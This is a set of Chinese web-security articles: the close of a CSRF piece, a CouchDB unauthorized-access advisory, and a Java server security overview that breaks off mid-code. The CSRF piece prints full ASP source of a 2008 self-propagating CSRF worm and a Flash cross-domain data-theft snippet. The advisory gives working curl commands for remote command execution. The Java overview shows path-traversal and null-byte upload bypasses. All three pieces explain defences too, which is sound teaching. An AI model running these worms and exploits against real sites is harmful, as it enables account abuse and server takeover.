CSRF蠕虫的传播性如何实现呢?在前面我们提到过,CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易,但实施起来恐怕还要多考虑一些东西。

仔细想想,在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题:蠕虫面对的是不同的用户,而不仅仅是某一个受害者。那对于不同的用户,其对应的请求(CSRF核心:伪造的请求嘛)会不会有些地方不一样呢?

没错,在之前的CSRF攻击中,我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后,我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测,但是对于不同的用户,其对应的请求参数是不一样的,我们无法像前面的攻击那样构造攻击页面,必须想办法获取这些标识不同用户的数据。

方法一:利用服务端脚本获取

在这里,我们构造的攻击页面不是一个简单的.html文件了,而是一个服务端脚本,如php、asp等等。

受害者的标识信息,如用户id等,经常出现在url中,这样我们就可以利用服务端脚本来获取请求的Referer中的用户id,以此为基础构造出html+js的攻击页面,在攻击向量中添加我们服务端脚本的链接,以此造成蠕虫传播的效果。

方法二:利用JSON HiJacking技术获取

JSON HiJacking的攻击方法前面已经讲得很详细了,如果网站上提供了这样的获取数据的接口,那么利用这种技术获取用户的隐私信息是一个不错的方法。

综上所述,如果一个SNS网站上存在CSRF漏洞,并且我们有办法获取到用户的标识信息,那么就满足了CSRF蠕虫传播的条件,这个网站就是可蠕虫的。

下面看一个CSRF蠕虫实例:

这是2008年发起的一次针对译言网(www.yeeyan.org)的CSRF蠕虫攻击,攻击者的链接为http://www.evilsite.com/yeeyan.asp,服务端脚本yeeyan.asp内容如下:

<%
'auther: Xlaile
'data: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com        

r = Request.ServerVariables("HTTP_REFERER")
'获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving        

If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
    'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址        

    Function regx(patrn, str)
        Dim regEx
        Dim Match
        Dim Matches
        Set regEx        = New RegExp
        regEx.Pattern    = patrn
        regEx.IgnoreCace = True
        regEx.Global     = True
        Set Matches      = regEx.Execute(str)    

        For Each Match in Matches
            RetStr          = RetStr & Match.Value & " | "
        Next    

        regx             = RetStr
    End Function    

    Function bytes2BSTR(vIn)
        Dim strReturn
        Dim i1
        Dim ThisCharCode
        Dim NextCharCode
        strReturn      = ""    

        For i1 = 1 To LenB(vIn)
            ThisCharCode  = AscB(MidB(vIn,i1,1))    

            If ThisCharCode <  & H80 Then
                strReturn    = strReturn & Chr(ThisCharCode)
            Else
                NextCharCode = AscB(MidB(vIn,i1 + 1,1))
                strReturn    = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
                i1           = i1 + 1
            End If    

        Next    

        bytes2BSTR = strReturn
        End
        id         = Mid(r,34) '获取用户标识ID,如:hving
        furl       = "http://www.yeeyan.com/space/friends/" + id '用户好友列表链接是这样的
        Set http   = Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件
        http.Open "GET",furl,False '同步,GET请求furl链接
        http.Send '发送请求
        ftext  = http.ResponseText '返回请求结果,为furl链接对应的HTML内容
        fstr   = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
        '正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值
        farray = Split(fstr , " | ")
        '下面几句就是对获取到的ID值进行简单处理,然后扔进f(999)数组中
        Dim f(999)    

        For i = 0 To UBound(farry) - 1
            f(i)    = Mid(farray(i),6,Len(farray(i)) - 16)
        Next    

        Set http = Nothing    

        s        = ""    

        For i = 0 To UBound(farray) - 1
            s       = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表,使用iframe发起CSRF攻击
        Next    

        Response.Write(s)    

        ' Set http=Server.CreateObject("Microsoft.XMLHTTP")        

        ' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False        

        ' c = "hello"        

        cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)    

        ' http.send cc        

    End If     
%>

其中yeeyan_iframe.asp代码如下:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
'id = Request("id")    

s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"    

s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>    

s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"    

s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>    

s = s+"</form>"    

s = s+"<script>document.forms[0].submit();</script>"    

Response.write(s)    

%>

这段代码只具备传播性,属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到,攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码,用来具体发起CSRF攻击。当用户登录译言网,并且点击攻击者的链接后,这个CSRF蠕虫就会开始传播。

0x08 还有什么东西?


写到这里,我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候,我一直在有意回避一个东西,那就是在现在的Web前端仍然占有重要地位的Flash,以及ActionScript脚本。

这里就简单补充一下,这些东西和CSRF攻击有什么联系。

首先,我们必须先介绍一个文件——crossdomain.xml,次文件通常在网站的根目录下存在,比如http://www.qq.com网站上的crossdomain.xml文件内容如下:

https://www.baidu.com网站上的crossdomain.xml文件内容如下:

该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”,则表示任何与的Flash都可以访问,这是非常危险的。当存在这样的配置时,攻击者可以利用ActionScript脚本轻松突破同源策略的限制,如下:

import flash.net. *
//请求隐私数据所在页面    

var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);    

loader.addEventListener(Event.COMPLETE, function() { //当请求完成后    
    loader.data; //获取到隐私数据    
    //更多操作    
});

Loader.load(); //发起请求

当通过身份认证的受害者被诱惑访问含有以上脚本的页面时,其隐私将可能被攻击者盗走。

除此之外,这种跨域获取信息的方法还可以应用在CSRF蠕虫之中,同样是在2008年,饭否(www.fanfou.com)就被基于Flash的CSRF蠕虫攻击,当时包含饭否CSRF蠕虫的Flash游戏界面如下:

0x09 结束


由于水平有限,本文写到这里就差不多结束了,里面是我对CSRF几乎所有的认知,包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是,文中有许多内容来自《Web前端黑客技术解密》这本书。


利用CouchDB未授权访问漏洞执行任意系统命令

$
0
0

0x00 前言


5月16日阿里云盾攻防对抗团队从外部渠道获知CouchDB数据库存在未授权访问漏洞(在配置不正确的情况下)。经过测试,云盾团队率先发现利用该未授权访问漏洞不仅会造成数据的丢失和泄露,甚至可执行任意系统命令。云盾安全专家团队第一时间完成了漏洞上报、安全评级,并通知了所有可能受影响的用户。下面将对该漏洞的出处和技术细节做详细解释。

0x01 漏洞的来龙去脉


CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。

那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS

默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?

继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以通过一个未授权访问的CouchDB,通过修改其query_server配置,来执行系统命令。

0x02 漏洞的POC


新增query_server配置,这里执行ifconfig命令

curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一个临时表,插入一条记录

curl -X PUT 'http://1.1.1.1:5984/vultest'
curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

调用query_server处理数据

curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

执行后,可以看到,指定的命令已经成功执行:

至于如何回显执行结果,各位可以动动脑筋,欢迎互动。

0x03 漏洞修复建议:


1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。

2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。

附:参考链接:

JAVA安全之JAVA服务器安全漫谈

$
0
0

0x00 前言


本文主要针对JAVA服务器常见的危害较大的安全问题的成因与防护进行分析,主要为了交流和抛砖引玉。

0x01 任意文件下载


示例

以下为任意文件下载漏洞的示例。

DownloadAction为用于下载文件的servlet。

<servlet>
    <description></description>
    <display-name>DownloadAction</display-name>
    <servlet-name>DownloadAction</servlet-name>
    <servlet-class>download.DownloadAction</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>DownloadAction</servlet-name>
    <url-pattern>/DownloadAction</url-pattern>
</servlet-mapping>

在对应的download.DownloadAction类中,将HTTP请求中的filename参数作为待下载的文件名,从web应用根目录的download目录读取文件内容并返回,代码如下。

protected void doGet(HttpServletRequest request,
        HttpServletResponse response) throws ServletException, IOException {
    String rootPath = this.getServletContext().getRealPath("/");

    String filename = request.getParameter("filename");
    if (filename == null)
        filename = "";
    filename = filename.trim();

    InputStream inStream = null;

    byte[] b = new byte[1024];
    int len = 0;
    try {
        if (filename == null) {
            return;
        }
        // 读到流中
        // 本行代码未对文件名参数进行过滤,存在任意文件下载漏洞
        inStream = new FileInputStream(rootPath + "/download/" + filename);
        // 设置输出的格式
        response.reset();
        response.setContentType("application/x-msdownload");

        response.addHeader("Content-Disposition", "attachment; filename=\""
                + filename + "\"");
        // 循环取出流中的数据
        while ((len = inStream.read(b)) > 0) {
            response.getOutputStream().write(b, 0, len);
        }
        response.getOutputStream().close();
        inStream.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

使用DownloadAction下载web应用根目录中的“download/test.txt”文件如下图所示。

p1

由于在DownloadAction类中没有对filename参数值进行检查,因此产生了任意文件下载漏洞。

使用DownloadAction下载web应用根目录中的“WEB-INF/web.xml”文件如下图所示。

p2

原因分析

从上述示例可以看出,在JAVA web程序的下载文件相关的代码中,若不对HTTP请求中的待下载文件名进行检查,则有可能产生任意文件下载漏洞。

java.io.File对象有两个方法可以用于获取文件对象的路径,getAbsolutePath与getCanonicalPath。

查看JDK 1.6 API中上述两个方法的说明。

getAbsolutePath

返回此抽象路径名的绝对路径名字符串。

如果此抽象路径名已经是绝对路径名,则返回该路径名字符串,这与 getPath() 方法一样。如果此抽象路径名是空抽象路径名,则返回当前用户目录的路径名字符串,该目录由系统属性 user.dir 指定。否则,使用与系统有关的方式解析此路径名。在 UNIX 系统上,根据当前用户目录解析相对路径名,可使该路径名成为绝对路径名。在 Microsoft Windows 系统上,根据路径名指定的当前驱动器目录(如果有)解析相对路径名,可使该路径名成为绝对路径名;否则,可以根据当前用户目录解析它。

getCanonicalPath

返回此抽象路径名的规范路径名字符串。

规范路径名是绝对路径名,并且是惟一的。规范路径名的准确定义与系统有关。如有必要,此方法首先将路径名转换为绝对路径名,这与调用 getAbsolutePath() 方法的效果一样,然后用与系统相关的方式将它映射到其惟一路径名。这通常涉及到从路径名中移除多余的名称(比如 "." 和 "..")、解析符号连接(对于 UNIX 平台),以及将驱动器号转换为标准大小写形式(对于 Microsoft Windows 平台)。

每个表示现存文件或目录的路径名都有一个惟一的规范形式。每个表示不存在文件或目录的路径名也有一个惟一的规范形式。不存在文件或目录路径名的规范形式可能不同于创建文件或目录之后同一路径名的规范形式。同样,现存文件或目录路径名的规范形式可能不同于删除文件或目录之后同一路径名的规范形式。

使用以下代码在Windows环境测试上述两个方法。

public static void main(String[] args) {
    getFilePath("C:/Windows/System32/calc.exe");
    getFilePath("C:/Windows/System32/drivers/etc/../../notepad.exe");
}

private static void getFilePath(String filename) {
    File f = new File(filename);

    try {       
        System.out.println("getAbsolutePath: " + filename + " " + f.getAbsolutePath());
        System.out.println("getCanonicalPath: " + filename + " " + f.getCanonicalPath());
    } catch (Exception e) {
        e.printStackTrace();
    }
}

输出结果如下。

getAbsolutePath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe
getCanonicalPath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe
getAbsolutePath: C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\drivers\etc\..\..\notepad.exe
getCanonicalPath: **C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\notepad.exe**

使用以下代码在Linux环境测试上述两个方法。

public static void main(String[] args) {
    getFilePath("/etc/hosts");
    getFilePath("/etc/rc.d/init.d/../../hosts");
}

private static void getFilePath(String filename) {
    File f = new File(filename);

    try {       
        System.out.println("getAbsolutePath: " + filename + " " + f.getAbsolutePath());
        System.out.println("getCanonicalPath: " + filename + " " + f.getCanonicalPath());
    } catch (Exception e) {
        e.printStackTrace();
    }
}

输出结果如下。

getAbsolutePath: /etc/hosts /etc/hosts
getCanonicalPath: /etc/hosts /etc/hosts
getAbsolutePath: /etc/rc.d/init.d/../../hosts /etc/rc.d/init.d/../../hosts
getCanonicalPath: **/etc/rc.d/init.d/../../hosts /etc/hosts**

可以看出,当File对象的文件路径中包含特殊字符时,JAVA能够按照操作系统的规范对其进行相应的处理。在Windows与Linux环境中,..均代表上一级目录,因此使用..能够访问上一级目录,导致任意文件读取漏洞产生。

防护方法

可在处理下载的代码中对HTTP请求中的待下载文件参数进行过滤,防止出现..等特殊字符,但可能需要处理多种编码方式。

也可在生成File对象后,使用getCanonicalPath获取当前文件的真实路径,判断文件是否在允许下载的目录中,若发现文件不在允许下载的目录中,则拒绝下载。

0x02 恶意文件上传


当攻击者利用恶意文件上传漏洞时,通常会向服务器上传jsp木马并访问,可以直接控制服务器。

示例

以下为恶意文件上传的示例。

upload目录中的upload.jsp为处理文件上传的jsp文件,内容如下。

<form name="form1" action="<%=request.getContextPath()%>/strutsUploadFileAction_signle.action"
    method="post" enctype="multipart/form-data"><input type="file" name="file4upload"
        size="30"> <br> <input type="submit"
        value="submit_signle" name="submit">
</form>

strutsUploadFileAction_signle为处理文件上传的struts的action,内容如下。

<action name="strutsUploadFileAction_signle" method="upload_signle" class="strutsUploadFile">
    <result name="success">upload/success.jsp</result>
    <result name="fail">upload/fail.jsp</result>
</action>

strutsUploadFile为处理文件上传的Spring的bean,内容如下。

<bean id="strutsUploadFile" class="strutsTest.StrutsUploadFileAction">
</bean>

strutsTest.StrutsUploadFileAction为处理文件上传的JAVA类,在其中会检查上传的文件名是否以“.jpg”结尾,代码如下。

// 注意,并不是指前端jsp上传过来的文件本身,而是文件上传过来存放在临时文件夹下面的文件
private File file4upload;

// 提交过来的file的名字
private String file4uploadFileName;

// 提交过来的file的MIME类型
private String file4uploadContentType;

public String upload_signle() throws Exception {

    return uploadCommon(file4upload, file4uploadFileName);
}

private String uploadCommon(File file, String fileName) throws Exception {
    boolean success = false;
    try {
        String newFileName = "";

        String webPath = ServletActionContext.getServletContext()
                .getRealPath("/");

        String allowedType = ".jpg";
        String fileName_new = fileName.toLowerCase();

        // 本行代码有判断文件类型是否为".jpg",但存在文件名截断问题
        if(fileName_new.length() - fileName_new.lastIndexOf(allowedType) != allowedType.length()) {
            file.delete();
            ActionContext.getContext().put("reason", "file type is not: " + allowedType);
            return "fail";
        }

        newFileName = webPath + "uploadDir/" + fileName;
        File dest = new File(newFileName);
        if (dest.exists())
            dest.delete();
        success = file.renameTo(dest);
    } catch (Exception e) {
        success = false;
        e.printStackTrace();
        throw e;
    }

    return success ? "success" : "fail";
}

打开upload.jsp,选择文件“a.jpg”进行上传。

p3

使用fiddler抓包并拦截,将filename参数修改为“a.jsp#.jpg”后的HTTP请求数据如下。

p4

使用十六进制形式查看HTTP请求数据如下。

p5

将#对应的字节修改为0x00并发送HTTP请求数据。

p6

完成文件上传后,查看保存上传文件的目录,可以看到文件上传成功,生成的文件为“a.jsp”。

p7

原因分析

从上述示例中可以看出,在上传文件时产生了文件名截断的问题。

使用以下代码测试JAVA写文件的文件名截断问题,使用0x00至0xff间的字符作为文件名生成文件。

public static void main(String[] args) {
    String java_version = System.getProperty("java.version");

    new File(java_version).mkdirs();    

    String filename = "a.jsp#a.jpg";
    for(int i=0; i<=0xff; i++) {
        String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i);
        File f = new File(filename_replace);
        try {
            f.createNewFile();
        } catch (Exception e) {
            System.out.println("error: " + i);
            e.printStackTrace();
        }
    }
}   

Windows环境文件名截断问题测试

在Windows 7,64位环境,使用JDK1.5执行上述代码生成文件的结果如下。

p8

可以看到使用JDK1.5执行时,除0x00外,冒号“:”(ASCII码十进制为58)也会产生文件名截断问题。

JDK1.6与JDK1.5执行结果相同。

p9

JDK1.7也与JDK1.5执行结果相同。

p10

JDK1.8与JDK1.5执行结果不同,仅有冒号会产生文件名截断问题,0x00不会产生文件名截断问题,可能是JDK1.8已修复该问题。

p11

使用Procmon查看上述过程中java.exe进程执行的写文件操作。

JDK1.5、1.6、1.7的监控结果相同,监控结果如下。

JDK1.5~1.7,当文件名中包含0x00时,java.exe在执行写文件操作时,会将0x00及之后的字符串丢弃,使用0x00之前的字符串作为文件名写文件。

p12

JDK1.5~1.7,当文件名包含冒号时,java.exe在执行写文件操作时,不会将冒号及之后的字符串丢弃。

p13

JDK1.8的监控结果如下。

JDK1.8,当文件名中包含0x00时,java.exe不会执行写文件的操作。

p14

与JDK1.5~1.7一样,JDK1.8当文件名包含冒号时,java.exe在执行写文件操作时,不会将冒号及之后的字符串丢弃。截图略。

虽然java.exe在写文件时不会将冒号及之后的字符串丢弃,但在Windows环境下仍然出现了文件名截断的问题。

在Windows中执行“echo 1>abc:123”命令,可以看到生成的文件名为“abc”,冒号及之后的字符串被丢弃,造成了文件名截断。这是Windows特性导致的,与JAVA无关。

Linux环境文件名截断问题测试

在Linux RedHat 6.4环境,使用JDK1.6执行上述代码生成文件的结果如下。

p15

JDK1.6,文件名中包含0x00时同样出现了文件名截断问题(文件名中包含ASCII码为92的反斜杠“\”时,生成的文件会产生在子目录中,但不会导致文件类型的变化)。

综上所述,JDK1.5-1.7存在0x00导致的文件名截断问题,与操作系统无关。冒号在Windows环境会导致文件名截断问题,与JAVA无关。

使用File对象的getCanonicalPath方法获取JAVA在文件名中包含0x00至0xff的字符时,生成文件时的实际文件路径,代码如下。

public static void main(String[] args) {
    String java_version = System.getProperty("java.version");

    String filename = "a.jsp#a.jpg";
    for(int i=0; i<=0xff; i++) {
        String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i);
        File f = new File(filename_replace);
        try {       
            System.out.println("getCanonicalPath " + f.getCanonicalPath());
        } catch (Exception e) {
            System.out.println("error: " + i);
            e.printStackTrace();
        }
    }
}   

Windows环境执行getCanonicalPath方法的结果

在Windows 7,64位环境,使用JDK1.5~1.7执行上述代码使用getCanonicalPath方法获取文件实际路径的结果相同,结果如下。

JDK1.5执行getCanonicalPath方法的结果。

p16

JDK1.6执行getCanonicalPath方法的结果。

p17

JDK1.7执行getCanonicalPath方法的结果。

p18

可以看到JDK1.5~1.7使用getCanonicalPath方法获取文件实际路径时,当文件名中包含0x00时,获取到的文件实际路径中0x00及之后的字符串已被丢弃。

在Windows 7,64位环境,使用JDK1.8执行getCanonicalPath方法的结果如下。

p19

可以看到JDK1.8使用getCanonicalPath方法获取文件实际路径时,当文件名中包含0x00时,会出现java.io.IOException异常,异常信息为“Invalid file path”。

Linux环境执行getCanonicalPath方法的结果

在Linux RedHat 6.4环境,使用JDK1.6执行上述代码的结果与Windows环境相同,截图略。

防护方法

以下的防护方法可以根据实际需求进行组合,相互之间没有冲突。

无效的防护方法

使用String对象的endsWith方法无法判断出文件生成时的实际文件名,使用以下代码进行证明。

public static void main(String[] args) {
    String java_version = System.getProperty("java.version");

    String filename = "a.jsp#a.jpg";
    for(int i=0; i<=0xff; i++) {
        String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i);
        if(filename_replace.endsWith(".jpg")) {
            System.out.println("yes: " + filename_replace);
        }
    }
}   

执行结果如下。

p20

当文件名为“a.jsp[特定字符]a.jpg”形式时,无论[特定字符]是否为0x00,使用String对象的endsWith方法对文件名进行检测,均认为是以“.jpg”结尾。

针对0x00进行检测

当文件名中包含0x00时,使用String对象的indexOf(0)方法执行结果非-1,可以检测到0x00的存在。但需考虑不同编码情况下0x00的形式。

检测实际的文件名

使用File对象的getCanonicalPath方法获取上传文件的实际文件名,若检测到文件名的后缀不是允许的类型(0x00截断,小于JDK1.8),或出现java.io.IOException异常(0x00截断,JDK1.8),或包含冒号(Windows环境中需处理),则说明需要拒绝本次文件上传。

修改保存上传文件的目录

上述的防护思路是防止攻击者将jsp文件上传至服务器中,本防护思路是防止攻击者上传的jsp文件被编译为class文件。

当JAVA中间件收到访问web应用目录中的jsp文件请求时,会将对应的jsp文件编译为class文件并执行。若将保存上传文件的目录修改为非web应用目录,当JAVA中间件收到访问上传文件的请求时,即使被访问的文件为jsp文件,JAVA中间件也不会将jsp文件编译为成class文件并执行,可以防止攻击者利用上传jsp木马控制服务器。

将保存上传文件的目录修改为非web应用目录的操作很简单,将处理文件上传代码中保存文件的目录修改为非web应用目录即可。进行该修改后,还可以使用共享目录解决多实例应用上传文件的问题。

将保存上传文件的目录修改为非web应用目录后,会导致无法使用原有方式访问上传的文件(例如文件上传目录原本为web应用目录中的upload目录,可直接使用http://[IP]:[PORT]/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后,无法再使用原有URL访问上传的文件)。可通过以下两种方法解决。

使用Servlet/action/.do请求访问上传文件,可参考前文中的download.DownloadAction类。本方法的影响面较大,不推荐使用。

除上述方法外,还可使用filter拦截HTTP请求处理,当HTTP请求访问文件上传目录中的文件时,读取对应的文件内容并返回(例如原本上传目录为web应用目录中的upload目录,可直接使用http://[IP]:[PORT]/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后,对HTTP请求处理进行拦截,当请求以“/xxx/upload”开头时,从文件上传目录中读取对应的文件内容并返回)。本方法可使用原本的URL访问上传文件,影响面较小,推荐使用。示例代码如下。

在web.xml中使用filter拦截HTTP请求处理。

<filter>
    <filter-name>testFilter</filter-name>
    <filter-class>test.TestFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>testFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

对应的test.TestFilter类代码如下。

private static String IF_MODIFIED_SINCE = "If-Modified-Since";
private static String LAST_MODIFIED = "Last-Modified";

private static String startFlag = "/testDownload/upload/";
private static String storePath = "C:/Users/Public";

public void doFilter(ServletRequest request, ServletResponse response,
        FilterChain chain) throws IOException, ServletException {
    HttpServletRequest httpRequest = (HttpServletRequest) request;
    // 获取浏览器访问的URL,形式如/test/upload/xxx.jpg
    String requestUrl = httpRequest.getRequestURI();
    System.out.println("requestUrl: " + requestUrl);

    if (requestUrl != null) {
        // 判断是否访问upload目录的文件,若是则从对应的存储目录读取并返回
        if (requestUrl.startsWith(startFlag)) {
            try {
                returnFileContent(requestUrl, (HttpServletRequest) request,
                        (HttpServletResponse) response);
            } catch (Exception e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return;
        }
    }

    chain.doFilter(request, response);
    return;
}

// 当访问web应用特定目录下的文件时,重定向到实际存储这些文件的目录
private void returnFileContent(String url, HttpServletRequest request,
        HttpServletResponse response) throws Exception {
    java.io.InputStream in = null;
    java.io.OutputStream outStream = null;
    try {
        response.setHeader("Content-Type", "text/plain");// 若不返回text/plain类型,浏览器无法正常识别文件类型
        String filePath = url.substring(startFlag.length() - 1);// 获取被访问的文件的URL
        String filePath_decode = URLDecoder.decode(filePath, "UTF-8");// 经过url解码之后的文件URL

        // 生成最终访问的文件路径
        // StorePath形式如C:/xxx/xxx,filePath_decode开头有/
        String targetfile = storePath + filePath_decode;
        System.out.println("targetfile: " + targetfile);
        File f = new File(targetfile);
        if (!f.exists() || f.isDirectory()) {
            System.out.println("文件不存在: " + targetfile);
            response.sendError(HttpServletResponse.SC_NOT_FOUND);// 返回错误信息,显示统一错误页面
            return;
        }
        // 判断上送的HTTP头是否有If-Modified-Since字段
        String modified = request.getHeader(IF_MODIFIED_SINCE);
        //获取文件的修改时间
        String modified_file = getFileModifiedTime(f);
        if (modified != null) {
            // 上送的HTTP头有If-Modified-Since字段,判断与对应文件的修改时间是否相同
            if(modified.equals(modified_file)) {
                //上送的文件时间与文件实际修改时间相同,不需返回文件内容
                response.setStatus(HttpServletResponse.SC_NOT_MODIFIED);//返回304状态
                outStream = response.getOutputStream();
                outStream.close();
                outStream.flush();
                outStream = null;
                return;
            }
        }
        // 文件无缓存,或文件有修改,需要在返回的HTTP头中添加文件修改时间
        response.setHeader(LAST_MODIFIED, modified_file);

        // 读取文件内容
        in = new FileInputStream(f);
        outStream = response.getOutputStream();
        byte[] buf = new byte[1024];
        int bytes = 0;
        while ((bytes = in.read(buf)) != -1)
            outStream.write(buf, 0, bytes);
        in.close();
        outStream.close();
        outStream.flush();
        outStream = null;
    } catch (Throwable ex) {
        ex.printStackTrace();
    } finally {
        if (in != null) {
            in.close();
            in = null;
        }
        if (outStream != null) {
            outStream.close();
            outStream = null;
        }
    }
}

// 获取指定文件的修改时间
private String getFileModifiedTime(File file) {
    SimpleDateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
    sdf.setTimeZone(TimeZone.getTimeZone("GMT"));
    return sdf.format(file.lastModified());
}

上述示例代码中,保存上传文件的目录为“C:/Users/Public”,当HTTP请求以“/testDownload/upload/”开头时,说明需要访问上传文件。

上述修改方法接管了JAVA中间件对原本上传目录的静态资源的访问请求,导致浏览器的缓存机制不可用。为了保证浏览器的缓存机制可用,上述代码中进行了专门处理。当HTTP请求头中不包含“If-Modified-Since”参数时,或“If-Modified-Since”对应的文件修改时间小于实际文件修改时间时,将文件的内容返回给浏览器,并在返回的HTTP头中加入“Last-Modified”参数返回文件修改时间,使浏览器对该文件进行缓存。当HTTP请求头的“If-Modified-Since”对应的文件修改时间等于实际文件修改时间时,不返回文件内容,将返回的HTTP码设为304,告知浏览器访问的文件无修改,可使用缓存。

以下为上述代码的测试结果。

web应用的目录中无upload目录。

p21

文件上传目录“C:/Users/Public”中有以下文件。

p22

访问文本文件正常。

p23

访问图片正常。

p24

访问音频文件正常。

p25

访问jsp文件只返回文件本身的内容,不会被编译成class文件并执行。

p26

使用fiddler查看访问记录,浏览器缓存机制正常。

p27

修改web应用目录权限

将文件上传目录移出web应用目录后,JAVA中间件在运行过程中,web应用目录及其中的文件一般不会被修改。可在JAVA中间件启动后,将web应用目录设为JAVA中间件不可写;当需要进行版本更新或维护时,停止JAVA中间件后,将web应用目录设为JAVA中间件可写。通过上述限制,可严格地防止web应用目录被上传jsp木马等恶意文件。

可将JAVA中间件使用a用户启动,将web应用的目录对应用户设为b用户,JAVA中间件启动后,将web应用的目录设为a用户只读。需要进行版本更新或维护时,停止JAVA中间件后,将web应用的目录设为a用户可读写。对于某些JAVA中间件在运行过程中可能需要进行写操作的文件或目录,可单独设置权限。可将对web应用的权限修改操作在JAVA中间件启停脚本中调用,减少操作复杂度。

Windows的权限设置较复杂且速度较慢,使用上述的防护方法时会比较麻烦。

0x03 SQL注入


PreparedStatement与Statement

众所周知,在JAVA中使用PreparedStatement替代Statement可以防止SQL注入。

在oracle数据库中进行以下测试。

首先创建测试用的数据库表并插入数据。

create table test_user
(
username varchar2(100),
pwd varchar2(100)
);

Insert into TEST_USER
   (USERNAME, PWD)
 Values
   ('aaa', 'bbb');
COMMIT;

使用以下JAVA代码进行测试。

private Connection conn = null;

public dbtest2(String url, String username, String password)
        throws ClassNotFoundException, SQLException {
    try {
        Class.forName("oracle.jdbc.driver.OracleDriver");
        conn = DriverManager.getConnection(url, username, password);
    } catch (Exception e) {
        // TODO: handle exception
        e.printStackTrace();
    }
}

public void closeDb() throws SQLException {
    conn.close();
}

public void executeStatement(String username, String pwd)
        throws SQLException {
    String sql = "SELECT * FROM TEST_USER where username='" + username
            + "' and pwd='" + pwd + "'";
    System.out.println("executeStatement-sql: " + sql);
    java.sql.Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    showResultSet(rs);
    stmt.close();
}

public void executePreparedStatement(String username, String pwd)
        throws SQLException {
    java.sql.PreparedStatement stmt = conn
            .prepareStatement("SELECT * FROM TEST_USER where username=? and pwd=?");
    stmt.setString(1, username);
    stmt.setString(2, pwd);
    ResultSet rs = stmt.executeQuery();
    showResultSet(rs);
    stmt.close();
}

public void showResultSet(ResultSet rs) throws SQLException {
    ResultSetMetaData meta = rs.getMetaData();
    StringBuffer sb = new StringBuffer();
